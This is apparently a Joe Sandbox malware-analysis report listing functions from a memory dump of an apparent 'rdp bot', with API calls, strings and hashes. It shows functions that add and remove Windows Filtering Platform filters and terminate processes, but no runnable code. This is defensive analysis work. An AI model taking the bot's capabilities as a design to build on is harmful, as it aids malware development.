Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorLastLocalToken$AllocInformation$CloseFreeHandleLengthOpenProcessfflushfwritememcpy
String ID: (hnd != NULL)$(sid != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(hnd=0x%p,err=%08x)$[E] (%s) -> GetTokenInformation failed(hnd=0x%p,gle=%lu)$[E] (%s) -> OpenProcessToken failed(hnd=0x%p,gle=%lu)$process_get_user_sid
API String ID: 3826151639-1775164968
Opcode ID: a6c61a1b07e674b01c5ec014d58fb88dea4969261ebe8cbd2533bfbf6d8bc1e9
Instruction ID: afef5c8074e25bc2af6f27f5085256f4b500ab6aa4a0649f7ce404704bfb60a8
Opcode Fuzzy Hash: a6c61a1b07e674b01c5ec014d58fb88dea4969261ebe8cbd2533bfbf6d8bc1e9
Instruction Fuzzy Hash: C9919322E8C54285FAE07706E46437CDA92AF84795FD50233D50EA72F1DE3CE895A363

Function 00007FF7E3CE795A Relevance: 33.5, APIs: 8, Strings: 11, Instructions: 206memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7E3CE797E
HeapAlloc.KERNEL32 ref: 00007FF7E3CE798F
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE7C24
HeapFree.KERNEL32 ref: 00007FF7E3CE7C35
FwpmFilterAdd0.FWPUCLNT ref: 00007FF7E3CE7BEA

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF7E3CE7C74
FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF7E3CE7CAF
FwpmFilterAdd0.FWPUCLNT ref: 00007FF7E3CE7D44

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7E3CE7C59
[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx), xrefs: 00007FF7E3CE7CD9
;9rJ, xrefs: 00007FF7E3CE7CEF
mem_alloc, xrefs: 00007FF7E3CE7C52
3L, xrefs: 00007FF7E3CE7B7F
[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx), xrefs: 00007FF7E3CE7C0E
TL, xrefs: 00007FF7E3CE79C0
[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx), xrefs: 00007FF7E3CE7D6E
[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx), xrefs: 00007FF7E3CE7C94
TL, xrefs: 00007FF7E3CE7A0C
setup_svc_filt, xrefs: 00007FF7E3CE7C07, 00007FF7E3CE7C8D, 00007FF7E3CE7CD2, 00007FF7E3CE7D67

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: FilterFwpmHeap$Add0DeleteKey0Process$AllocFreefflushfwrite
String ID: 3L$;9rJ$TL$TL$[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$setup_svc_filt
API String ID: 3629392964-1470975255
Opcode ID: 97da833c0286c23491248727b5f9ff6699206188f68b1a177a93830b109ce109
Instruction ID: ba05bb65a7195d49c129bfff6b0fcf8c2f3e5f1a54118f851d86376db1fcd773
Opcode Fuzzy Hash: 97da833c0286c23491248727b5f9ff6699206188f68b1a177a93830b109ce109
Instruction Fuzzy Hash: E3A1B33260D7C285E7A0AB15B4403AABBA5FB81780F444135EACD5BBA9DF3DC094CB52

Function 00007FF7E3CE8153 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E3CE8008: GetFileAttributesW.KERNEL32 ref: 00007FF7E3CE8019

wcslen.MSVCRT ref: 00007FF7E3CE8195
FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF7E3CE8241
FwpmFilterDeleteByKey0.FWPUCLNT ref: 00007FF7E3CE827F
FwpmFilterAdd0.FWPUCLNT ref: 00007FF7E3CE8448
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE848A
HeapFree.KERNEL32 ref: 00007FF7E3CE849B
GetProcessHeap.KERNEL32 ref: 00007FF7E3CE84B2
HeapFree.KERNEL32 ref: 00007FF7E3CE84C3
FwpmFilterAdd0.FWPUCLNT ref: 00007FF7E3CE8523

Strings

TL, xrefs: 00007FF7E3CE8205
setup_app_filt, xrefs: 00007FF7E3CE825A, 00007FF7E3CE829C, 00007FF7E3CE8461, 00007FF7E3CE8540
;9rJ, xrefs: 00007FF7E3CE84CE
[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx), xrefs: 00007FF7E3CE82A3
TL, xrefs: 00007FF7E3CE81B9
3L, xrefs: 00007FF7E3CE83DD
[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx), xrefs: 00007FF7E3CE8468
[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx), xrefs: 00007FF7E3CE8547
[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx), xrefs: 00007FF7E3CE8261

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: FilterFwpmHeap$Add0DeleteFreeKey0Process$AttributesFilewcslen
String ID: 3L$;9rJ$TL$TL$[E] (%s) -> FwpmFilterAdd0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterAdd0(IPv6) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv6) failed(res=%08lx)$setup_app_filt
API String ID: 2990311666-1793103013
Opcode ID: 2c997fc73ab919394416098a8c18d9cb1dd8f1079b30a699f2a821e8dd8f435d
Instruction ID: 968f9d12f27caeaf686b76f8bda436be45bd93364f323d8432a2463a1eebdede
Opcode Fuzzy Hash: 2c997fc73ab919394416098a8c18d9cb1dd8f1079b30a699f2a821e8dd8f435d
Instruction Fuzzy Hash: 8C91C52264DBC285E7A1EB15A4403AABBA1FB81740F444135EBCC5BBA9EF3DC155CB12

Function 00007FF7E3CE405E Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7E3CE407D
CreateDirectoryA.KERNEL32 ref: 00007FF7E3CE409F
GetLastError.KERNEL32 ref: 00007FF7E3CE40F0
strcpy.MSVCRT ref: 00007FF7E3CE4141
strlen.MSVCRT ref: 00007FF7E3CE4149
strlen.MSVCRT ref: 00007FF7E3CE4165
strlen.MSVCRT ref: 00007FF7E3CE4176
CreateDirectoryA.KERNEL32 ref: 00007FF7E3CE41E7
GetLastError.KERNEL32 ref: 00007FF7E3CE41F1

Strings

[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF7E3CE4109
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FF7E3CE41A0
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE40D5
fs_dir_create, xrefs: 00007FF7E3CE40CE, 00007FF7E3CE4102, 00007FF7E3CE4199, 00007FF7E3CE42BF, 00007FF7E3CE4326
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE40C0
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF7E3CE432D
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF7E3CE42C6
(path != NULL), xrefs: 00007FF7E3CE40C7
NULL, xrefs: 00007FF7E3CE4317

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-1059260517
Opcode ID: 8777b3765a0b61160c2dd5586f2618d65661b4ac38adbf88f21a5bf13e2edb7f
Instruction ID: c72e46d8a4a34e6a7cca514b32907bdf5f66c92ba37c0f10bbf1efd18d4dee71
Opcode Fuzzy Hash: 8777b3765a0b61160c2dd5586f2618d65661b4ac38adbf88f21a5bf13e2edb7f
Instruction Fuzzy Hash: CD719252E8C24392FBE17B16E8507B99A91AF54744FD41233CA0DA66F1DE3CE845A323

Function 00007FF7E3CE341C Relevance: 28.2, APIs: 7, Strings: 9, Instructions: 187synchronizationCOMMON

Download Yara Rule

APIs

GetExitCodeProcess.KERNEL32 ref: 00007FF7E3CE3436
WaitForSingleObject.KERNEL32 ref: 00007FF7E3CE345A
GetExitCodeProcess.KERNEL32 ref: 00007FF7E3CE3468
GetLastError.KERNEL32 ref: 00007FF7E3CE350F
TerminateProcess.KERNEL32 ref: 00007FF7E3CE35FC
GetLastError.KERNEL32 ref: 00007FF7E3CE360A
GetLastError.KERNEL32 ref: 00007FF7E3CE36F1

Part of subcall function 00007FF7E3CE33C0: CloseHandle.KERNEL32 ref: 00007FF7E3CE33D8
Part of subcall function 00007FF7E3CE33C0: CloseHandle.KERNEL32 ref: 00007FF7E3CE33DE

Strings

[E] (%s) -> Failed(pid=%lu,err=%08x), xrefs: 00007FF7E3CE34F9
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE34CA
[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FF7E3CE3525
(pi != NULL), xrefs: 00007FF7E3CE34BC
process_close, xrefs: 00007FF7E3CE3498, 00007FF7E3CE34C3, 00007FF7E3CE34F2, 00007FF7E3CE351E, 00007FF7E3CE3619, 00007FF7E3CE36FE
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7E3CE34B5
[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu), xrefs: 00007FF7E3CE3705
[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu), xrefs: 00007FF7E3CE3620
[I] (%s) -> Done(pid=%lu,exit_code=%08lx), xrefs: 00007FF7E3CE349F

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorLastProcess$CloseCodeExitHandle$ObjectSingleTerminateWait
String ID: (pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(pid=%lu,err=%08x)$[E] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$[E] (%s) -> TerminateProcess failed(pid=%lugle=%lu)$[I] (%s) -> Done(pid=%lu,exit_code=%08lx)$[W] (%s) -> GetExitCodeProcess failed(pid=%lugle=%lu)$process_close
API String ID: 1879646588-710610406
Opcode ID: 1ab2c9bf8f2caa541bedd61938cb30dfc0d099194f247efb2808cbd3032f71e4
Instruction ID: c3883ac351e45243b6d3a7e841fb9673442fe242d36f91f616f0b3524876a6e1
Opcode Fuzzy Hash: 1ab2c9bf8f2caa541bedd61938cb30dfc0d099194f247efb2808cbd3032f71e4
Instruction Fuzzy Hash: C9812E62E8C51782FAE2BA169450778EE906B00754FD54273C85EB72F09E3CFC46A763

Function 00007FF7E3CE3909 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 123COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF7E3CE392A
GetLastError.KERNEL32 ref: 00007FF7E3CE3A0A

Strings

, xrefs: 00007FF7E3CE3A2B
P, xrefs: 00007FF7E3CE3A93
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7E3CE397E
~, xrefs: 00007FF7E3CE3A8E
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE39B5, 00007FF7E3CE39EE
[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FF7E3CE3A1F
c, xrefs: 00007FF7E3CE39D1
(attr != NULL), xrefs: 00007FF7E3CE39E0
fs_attr_get, xrefs: 00007FF7E3CE3977, 00007FF7E3CE39AE, 00007FF7E3CE39E7, 00007FF7E3CE3A18, 00007FF7E3CE3B4C
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FF7E3CE3B53
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE39A0, 00007FF7E3CE39D9
(path != NULL), xrefs: 00007FF7E3CE39A7
NULL, xrefs: 00007FF7E3CE3B3A

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: $(attr != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$P$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> GetFileAttributesA failed(path=%s,gle=%lu)$c$fs_attr_get$~
API String ID: 1799206407-3397184676
Opcode ID: e21be7be9c16bb27528b034fe24b15d1ab511b8e353f145966fad9062a5d5940
Instruction ID: c1b4567ab3d2f8a424251710003a595a842639a2912abc604f7d1ff7ee10bda0
Opcode Fuzzy Hash: e21be7be9c16bb27528b034fe24b15d1ab511b8e353f145966fad9062a5d5940
Instruction Fuzzy Hash: 5C5151A198C64791F7A0B742A490374EE506F00B94ED40233C95EA66F4EE7CF597A323

Function 00007FF7E3CE6776 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 154COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7E3CE67AA

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

GetLastError.KERNEL32 ref: 00007FF7E3CE6909

Strings

(xpath_sz != NULL), xrefs: 00007FF7E3CE686D
[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu), xrefs: 00007FF7E3CE67E5
((*xpath_sz) > 0), xrefs: 00007FF7E3CE689D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE6818, 00007FF7E3CE684B, 00007FF7E3CE687B, 00007FF7E3CE68AB
[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu), xrefs: 00007FF7E3CE691E
fs_path_expand, xrefs: 00007FF7E3CE67DE, 00007FF7E3CE6811, 00007FF7E3CE6844, 00007FF7E3CE6874, 00007FF7E3CE68A4, 00007FF7E3CE68D6, 00007FF7E3CE6917, 00007FF7E3CE69E4
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE6803, 00007FF7E3CE6836, 00007FF7E3CE6866, 00007FF7E3CE6896
[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu), xrefs: 00007FF7E3CE69EB
[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x), xrefs: 00007FF7E3CE68DD
(path != NULL), xrefs: 00007FF7E3CE680A
(xpath != NULL), xrefs: 00007FF7E3CE683D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: EnvironmentErrorExpandLastStringsfflushfwrite
String ID: ((*xpath_sz) > 0)$(path != NULL)$(xpath != NULL)$(xpath_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu)$[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu)$fs_path_expand
API String ID: 1721699506-2819899730
Opcode ID: 9249b8ac11bf0b6892439467737feea6e33b7a6a6b97775ca93be675124264c7
Instruction ID: 81401b5430ff75bafab8772bc7dce1241d93df3f3324ce809a4c703bd38c9cce
Opcode Fuzzy Hash: 9249b8ac11bf0b6892439467737feea6e33b7a6a6b97775ca93be675124264c7
Instruction Fuzzy Hash: 53619262E9C54791FAB0BB15E8103B8AA916F40344FD64233C50DA76F1DE3CE966D327

Function 00007FF7E3CE65E3 Relevance: 19.6, APIs: 4, Strings: 9, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7E3CE660E
strlen.MSVCRT ref: 00007FF7E3CE6637
strlen.MSVCRT ref: 00007FF7E3CE6643
strlen.MSVCRT ref: 00007FF7E3CE6659

Strings

[I] (%s) -> Done(path=%s,path_sz=%llu), xrefs: 00007FF7E3CE666E
fs_path_temp, xrefs: 00007FF7E3CE6667, 00007FF7E3CE669A, 00007FF7E3CE66CA, 00007FF7E3CE66FA, 00007FF7E3CE6734
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE66A1, 00007FF7E3CE66D1, 00007FF7E3CE6701
((*path_sz) > 0), xrefs: 00007FF7E3CE66F3
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE668C, 00007FF7E3CE66BC, 00007FF7E3CE66EC
[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x), xrefs: 00007FF7E3CE673B
(path_sz != NULL), xrefs: 00007FF7E3CE66C3
(path != NULL), xrefs: 00007FF7E3CE6693
NULL, xrefs: 00007FF7E3CE676D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strlen
String ID: ((*path_sz) > 0)$(path != NULL)$(path_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,path_sz=%llu)$fs_path_temp
API String ID: 39653677-3302659514
Opcode ID: a091d92821b1e82cfa39aaab01c8d8141344e235231bbb2c2f7fd8d648b90f23
Instruction ID: ef08d0ee97b4e970592b785ae8311a5266c4d03fcf26958f3ad648932437181a
Opcode Fuzzy Hash: a091d92821b1e82cfa39aaab01c8d8141344e235231bbb2c2f7fd8d648b90f23
Instruction Fuzzy Hash: 56416161A9C54390FAA0BB51E8203B89F91BF40744FD94233D54D6B2F5DF3CE926A322

Function 00007FF7E3CEA3E1 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 89memorystringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7E3CEA4A6
GetProcessHeap.KERNEL32 ref: 00007FF7E3CEA4B4
HeapAlloc.KERNEL32 ref: 00007FF7E3CEA4C5
strlen.MSVCRT ref: 00007FF7E3CEA4E3
GetProcessHeap.KERNEL32 ref: 00007FF7E3CEA511
HeapFree.KERNEL32 ref: 00007FF7E3CEA522

Strings

ini_get_bytes, xrefs: 00007FF7E3CEA454, 00007FF7E3CEA484
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7E3CEA446, 00007FF7E3CEA476
mem_alloc, xrefs: 00007FF7E3CEA530
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7E3CEA537
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CEA45B, 00007FF7E3CEA48B
(buf != NULL), xrefs: 00007FF7E3CEA44D
(buf_sz != NULL), xrefs: 00007FF7E3CEA47D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Heap$Processstrlen$AllocFree
String ID: (buf != NULL)$(buf_sz != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Memory allocation failed(size=%llu)$ini_get_bytes$mem_alloc
API String ID: 1318626975-3964590784
Opcode ID: 9aa4ad5710ba47d1f93b0edbb4dbda2cd6f3467b747c308e6e1de2fea1d8c66b
Instruction ID: f162db73066fd9b54d7c1c10fa6bfd67edd63c944afb02ecd146d5d63e799fbe
Opcode Fuzzy Hash: 9aa4ad5710ba47d1f93b0edbb4dbda2cd6f3467b747c308e6e1de2fea1d8c66b
Instruction Fuzzy Hash: 9B31C726988A4344FB90BF12E8143B59BA0AF40B84FD85133DA4DA77F5DF3CE8159362

Function 00007FF7E3CE3B64 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7E3CE3C3E

Part of subcall function 00007FF7E3CE3909: GetFileAttributesA.KERNEL32 ref: 00007FF7E3CE392A

SetFileAttributesA.KERNEL32 ref: 00007FF7E3CE3BAB

Strings

fs_attr_set, xrefs: 00007FF7E3CE3BD7, 00007FF7E3CE3C02, 00007FF7E3CE3C4E, 00007FF7E3CE3D1D, 00007FF7E3CE3D83
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE3BDE, 00007FF7E3CE3C09
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FF7E3CE3D8A
[E] (%s) -> Failed(path=%s,attr=%08lx,err=%08x), xrefs: 00007FF7E3CE3D24
[E] (%s) -> SetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FF7E3CE3C55
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE3BC9, 00007FF7E3CE3BF4
(path != NULL), xrefs: 00007FF7E3CE3BD0
NULL, xrefs: 00007FF7E3CE3D74
(attr != NULL), xrefs: 00007FF7E3CE3BFB

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
